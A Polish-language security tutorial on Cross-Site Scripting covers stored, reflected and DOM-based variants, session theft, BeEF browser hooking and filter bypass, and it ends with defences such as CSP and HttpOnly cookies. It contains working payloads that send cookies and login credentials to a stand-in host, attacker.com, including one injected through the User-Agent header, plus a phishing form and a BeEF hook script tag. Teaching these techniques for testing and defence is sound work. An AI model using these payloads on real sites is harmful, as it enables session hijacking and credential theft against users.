Przejdź do głównej zawartości

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) to jeden z najczęściej wykorzystywanych wektorów ataku na aplikacje webowe. Polega na wstrzyknięciu złośliwego kodu JavaScript do aplikacji, co może prowadzić do przejęcia sesji użytkownika, wykradania danych lub wykonywania nieautoryzowanych operacji.

Rodzaje ataków XSS​

1️⃣ Stored XSS (Trwały XSS)​

Atakujący zapisuje złośliwy skrypt w bazie danych lub na serwerze, a następnie jest on wykonywany w przeglądarce użytkownika podczas odwiedzenia strony.

Przykład ataku Stored XSS​

Podatna aplikacja zapisuje komentarze bez filtrowania treści:

<input type="text" name="comment" value="">

Atakujący wpisuje:

<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Każdy użytkownik, który odwiedzi stronę, wykona złośliwy kod JavaScript.

Stored XSS przez nagłówek HTTP (User-Agent)​

Aplikacje logujące nagłówki żądań do bazy lub wyświetlające je w panelu admina są podatne na wstrzyknięcie przez User-Agent. W Burp Suite zmień nagłówek przed wysłaniem żądania:

User-Agent: <script>fetch('http://attacker.com/steal?c='+document.cookie)</script>

Jeśli administrator przeglądając logi dostanie payload w przeglądarce — przejmujesz jego sesję bez żadnej interakcji z frontendem. Panel admina staje się sink dla Stored XSS.

2️⃣ Reflected XSS (Odbity XSS)​

Złośliwy skrypt jest wstrzykiwany w parametrach URL i wykonywany przez przeglądarkę ofiary.

Przykład ataku Reflected XSS​

Podatna aplikacja wyświetla dane z URL:

<?php echo $_GET["query"]; ?>

Atakujący wysyła ofierze link:

http://example.com/search?query=<script>alert('XSS')</script>

Jeśli użytkownik otworzy ten link, przeglądarka wykona złośliwy kod.

3️⃣ DOM-based XSS​

Występuje, gdy złośliwy skrypt jest wykonywany po stronie przeglądarki bez interakcji z serwerem.

Przykład ataku DOM XSS​

Podatny kod JavaScript:

document.write("Wyszukiwane: " + location.hash);

Atakujący wysyła:

http://example.com/#<script>alert('XSS')</script>

Gdy użytkownik otworzy link, przeglądarka wykona kod JavaScript.

Wykorzystanie XSS do kradzieży sesji​

XSS pozwala na przejęcie sesji użytkownika poprzez wykradanie cookies.

1️⃣ Przechwytywanie sesji​

Atakujący wstrzykuje skrypt:

<script>
  fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Ofiara odwiedza stronę → jej sesja jest wysyłana do serwera atakującego.

2️⃣ Tworzenie fałszywych formularzy​

Można stworzyć formularz logowania, który kradnie dane użytkownika:

<form action="http://attacker.com/steal" method="POST">
  <input type="text" name="username" placeholder="Login">
  <input type="password" name="password" placeholder="Hasło">
  <input type="submit" value="Zaloguj się">
</form>

BeEF – Post-Exploitation XSS​

BeEF (Browser Exploitation Framework) jest dostępny w Kali i pozwala na zaawansowaną post-exploitację po wstrzyknięciu hookującego skryptu do przeglądarki ofiary.

Uruchomienie BeEF​

sudo beef-xss

BeEF startuje serwer na http://127.0.0.1:3000/ui/panel (login: beef:beef).

Wstrzyknięcie hooka​

W podatne pole wstrzyknij tag <script> ładujący hook:

<script src="http://TWOJE-IP:3000/hook.js"></script>

Po otwarciu strony przez ofiarę jej przeglądarka pojawi się w panelu BeEF jako aktywny bot. Dostępne moduły pozwalają na: wykradzenie cookies, przechwycenie naciśnięć klawiszy, wykonanie screenshotu, atak phishingowy przez podmianę treści strony.

Omijanie filtrów XSS (Burp Decoder)​

Filtry WAF i aplikacji często blokują <script> i alert(. Burp Suite Decoder pozwala enkodować payloady tak, żeby ominąć filtrację opartą na wzorcach.

Kodowania dostępne w Burp Decoder​

  • URL encoding: <script> → %3Cscript%3E
  • HTML entities: < → &lt;, > → &gt;
  • Double URL encoding: % → %25, więc < → %253C
  • Base64: użyteczny gdy aplikacja dekoduje base64 po stronie JS

Workflow w Burp​

  1. W Burp Suite: Decoder → wklej payload.
  2. Wybierz Encode as → URL / HTML / Base64.
  3. Skopiuj wynik i użyj w żądaniu przez Repeater.

Przykład: jeśli filtr blokuje alert, spróbuj:

<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)">

(HTML entity encoding słowa alert)

Zabezpieczenia przed XSS​

  • Filtrowanie wejścia – użycie htmlspecialchars() w PHP lub encodeURIComponent() w JS.
  • CSP (Content Security Policy) – blokowanie wykonywania inline JavaScript.
  • HttpOnly dla cookies – zabezpiecza przed odczytem JavaScript.
  • Sanityzacja danych na wejściu i wyjściu – usuwanie podejrzanych znaków.

Przykład ochrony CSP:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

Ataki XSS mogą prowadzić do przejęcia kont i eskalacji uprawnień. Kolejnym krokiem będzie analiza podatności Insecure Direct Object References (IDOR) & Broken Access Control!